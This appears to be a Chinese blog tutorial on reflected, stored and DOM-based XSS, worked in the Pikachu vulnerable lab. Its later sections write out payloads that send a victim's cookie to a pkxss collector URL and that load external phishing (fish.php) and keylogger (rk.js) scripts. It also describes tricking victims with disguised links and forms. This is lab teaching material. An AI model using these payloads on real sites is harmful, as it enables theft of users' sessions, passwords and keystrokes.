反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录

XSS:

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录

一、跨站脚本漏洞(XSS)
XSS漏洞一直被评估为web漏洞中危害较大的漏洞

XSS是一种发生在web前端的漏洞,主要危害前端用户

XSS可以通过进行钓鱼攻击,前端js挖矿,用户cookie获取,甚至结合浏览器自身漏洞对主机进行远程控制等

攻击流程图:
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第1张图片
危害:存储型>反射型>DOM型

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型

XSS漏洞形成的原因:
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第2张图片

跨站脚本漏洞测试流程:

1、在目标站点上找到输入点,比如查询接口,留言板等
2、输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
3、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
4、提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

TIPS:

1、一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
2、由于后台可能存在过滤措施,构造的脚本可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器)
3、通过变化不同的脚本,尝试绕过后台过滤机制;


二、反射型XSS(get/post)

打开pikachu 反射型XSS(get)
输入 ’ " < > 6666等特殊字符
检验是否会对特殊字符进行过滤
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第3张图片
得到该结果
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第4张图片
然后按一下F12 打开控制器 查看前端代码
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第5张图片
ctrl+F打开搜索界面 输入6666 进而查询到我们刚才构造
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第6张图片
看到我们输入的内容被输出到了p标签中,这样就意味着我们输入的js也会被原封不动的输入进去

接下来我们打开控制器审查一下元素
在这里插入图片描述
可以看到input设置了一个20的最大长度
我们可以进行更改 改为200000 这样我们就可以输入更多的字符了
接下来 我们输入

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第7张图片
点击提交
PS:由于chrome安全级别过高 过滤掉了该操作 所以在这里直接贴出作者的图
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第8张图片
我们会得到以下界面
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第9张图片
我们输入的代码成功在浏览器中执行了 这就是一个反射型的XSS

这样的XSS 后端是没有对此进行存储的 所以刷新页面之后 XSS就失效了

我们现在来查看一下源码
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第10张图片
我们再更改并输入一下

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第11张图片

接下来我们复制当前的url 输入到新的界面中 就可以直接执行刚才XSS的效果
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第12张图片
我们可以利用这一特性 利用反射型XSS漏洞对受害者进行攻击 比如某个论坛出现了XSS漏洞 我们就可以借此利用 来欺骗受害者 进而达到XSS攻击的目的

GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用URL攻击,
我们之后会讲解POST下 如何利用
————————————————————-
三、存储型XSS漏洞

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS

我们打开pikachu的平台
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第13张图片
我们随便输入内容 进行留言
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第14张图片

可以看到我们输入的内容被存储了
接下来思路一样 我们输入一些特殊的字符
比如 ’ " < > ? & 6666
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第15张图片
我们输入的内容被当作留言存储了 我们现在打开控制器审查元素
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第16张图片
可以看到没有做任何处理就直接存储到了P标签中 没有进行过滤和转译处理

接下来 我们输入一个简单的弹窗

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第17张图片

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第18张图片
提交之后 看到我们的脚本被执行了 我们刷新之后还是会显示 则表明我们输入的脚本被存储到后台了 这样也就意味着是永久的 伤害更大

存储型和反射型道理差不多 只不过后者没有存储下来而已
——————————————————
四、DOM型XSS漏洞

DOM的定义:

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第19张图片
DOM通过JS来联系前后端,相当于一个接口
可以在W3C上搜索DOM 来进行了解

我们打开pikachu平台
先随便输入一个字符
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第20张图片
出现了一个像a标签的东西 我们审查一下元素
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第21张图片
可以看到一段JS代码
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第22张图片
它通过document.getElemntById 来与a标签进行拼接

如何检查存在XSS漏洞 思路基本与之前一样
what do you see?
我们复制一下这段代码 来构造一个闭合
'>what do you see?
这一段就是我们构造的playrod:
#’ οnclick=”alert(111)“>
我们输入一下
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第23张图片
说明这里存在了DOM型的XSS漏洞

我们继续下一个

反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第24张图片
先随便输入一个字符串
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第25张图片
我们审查一下元素
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第26张图片
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第27张图片
和反射型XSS漏洞很像
我们构造一下闭合:
#’ οnclick=”alert(111)“>
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第28张图片
点击一下最上面的连接 就会弹窗
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第29张图片
两者唯一的区别就是 后者的DOM是通过浏览器进行输入的

现在只需要复制URL 发送给受害者 就会被插入到用户的浏览器中 增加了危害
——————————————————-————
五、cookie的获取以及XSS后台的使用

1、cookie的窃取和利用
2、钓鱼攻击
3、XSS获取键盘记录

1:反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第30张图片
方法采用GET型XSS 从而获得cookie

先介绍pkxss:
先打开pikachu
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第31张图片
首次安装需要初始化 点击就安装完成了
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第32张图片
初始化完成之后 是这样的界面
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第33张图片
我们接下来输入用户密码进入后台
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第34张图片
点击第一个
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第35张图片
之后我们回到get请求 构造一个payrold
<1script>document.location = ‘http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;<1/script>
//该语句的作用就是把cookie返回到pkxss中 使用时删除script前面的1
在这里插入图片描述
成功获得cookie


六、post下的xss利用
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第36张图片
首先登陆一下 到这个界面
原理基本与GET方式相同
先提交一个参数 发现并没有在url中传参
打开bp
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第37张图片
这样的请求就是通过post方式 我们无法将恶意代码嵌入到url中

思维图:
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第38张图片
打开pikachu中的from.html的表单
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第39张图片
将form中value的值改为我们想要操作的恶意代码
action则指向一个表面安全不会让用户怀疑的页面

接下来就是引用用户访问页面 就可以获取到cookie了
————————————————————————————-
七、钓鱼演示
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第40张图片
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第41张图片
<1script src=“http://www.pkxss.com/xfish/fish.php”>

输入之后
照常理已经钓到了用户的用户名和密码 但由于当今浏览器安全防护较高 无法成功钓鱼 这里就不再做演示
——————————————————————–
八、键盘记录
基本与之前一样
使用
<1script src=“http://www.pkxss.com/rkeypress/rk.js”><1/script>
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第42张图片
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第43张图片
提交完成后
审查元素
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第44张图片
接下来在当前页面输入就可以记录到键盘
反射型XSS,存储型XSS,Dom型XSS,如何获取cookie,XSS钓鱼,XSS获取键盘记录_第45张图片
成功记录到键盘

你可能感兴趣的:(CTF)